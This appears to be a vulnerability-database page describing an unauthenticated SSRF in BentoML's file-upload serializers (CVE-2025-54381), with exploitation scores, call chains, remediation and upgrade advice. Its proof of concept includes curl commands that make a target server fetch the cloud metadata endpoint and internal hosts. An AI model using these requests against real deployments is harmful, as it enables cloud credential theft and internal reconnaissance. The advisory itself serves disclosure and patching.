NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

BentoML SSRF Vulnerability in File Upload ProcessingGHSA-mrmq-3q62-6cc8

CRITICALFix: bentoml/BentoML@534c358

GHSA-mrmq-3q62-6cc8 is a critical-severity (CVSS 9.9) Server-Side Request Forgery (SSRF) vulnerability in bentoml. EPSS puts its 30-day exploitation probability at 13.8% (97th percentile). A fix is available for bentoml — see the affected versions and patch details below.

Also known asCVE-2025-54381PYSEC-2026-297
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-mrmq-3q62-6cc8.

EPSS Exploitation Probability

via FIRST.org ↗
13.8%probability of exploitation in next 30 days
Moderate Risk+0.67%
Lower risk than most CVEs97th percentile — riskier than 97% of all scored CVEsHighest risk
0.00%6.90%13.8%20.7%0.7%13.8%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍bentoml

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Description

There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source - Sink Analysis

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation):

  1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
  2. MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the request
  3. form = await request.form() parses multipart data using Starlette
  4. For file-type fields: value = [await self.ensure_file(v) for v in form.getlist(k)] at line 209
  5. MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URL
  6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation):

  1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipart_fields
  2. JSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the request
  3. body = await request.body() extracts request body
  4. Condition check: if issubclass(cls, IORootModel) and cls.multipart_fields: at line 164
  5. Weak validation: if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme)
  6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept

Create a BentoML service:

from pathlib import Path
import bentoml

@bentoml.service  
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Deploy and exploit:

# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor

# SSRF Attack 1 - Access AWS metadata  
curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'

# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \  
     -F 'image=http://localhost:8080/admin'

# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
     -F 'image=http://10.0.0.1:22'

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

Impact

  • Access AWS/GCP/Azure cloud metadata services for credential theft
  • Enumerate and interact with internal HTTP services and APIs
  • Bypass firewall restrictions to reach internal network resources
  • Perform network reconnaissance from the server's perspective
  • Retrieve sensitive information disclosed in HTTP response data
  • Potential for internal service exploitation through crafted requests

Remediation

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing is_http_url() function should be enhanced to include allowlist validation rather than just scheme checking.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIbentoml≥ 1.4.0&&< 1.4.191.4.19pip install --upgrade 'bentoml==1.4.19'

Affected Products

1 product · 1 configurations
Application
bentomlbentoml
≥ 1.4.0 && < 1.4.19
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update bentoml to 1.4.19 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mrmq-3q62-6cc8 is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Frequently Asked Questions

### Description There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses. The framework automatically registers any service endpoint with file-type parameters (`pathlib.Path`, `PIL.Image.Image`) as vulnerable to this attack, making it a framework-wide security issue that
O3 Security · Impact-Aware SCA

Is GHSA-mrmq-3q62-6cc8 in your dependencies?

Find it across PyPI, including transitive dependencies.

BentoML SSRF Vulnerability in File Upload Processing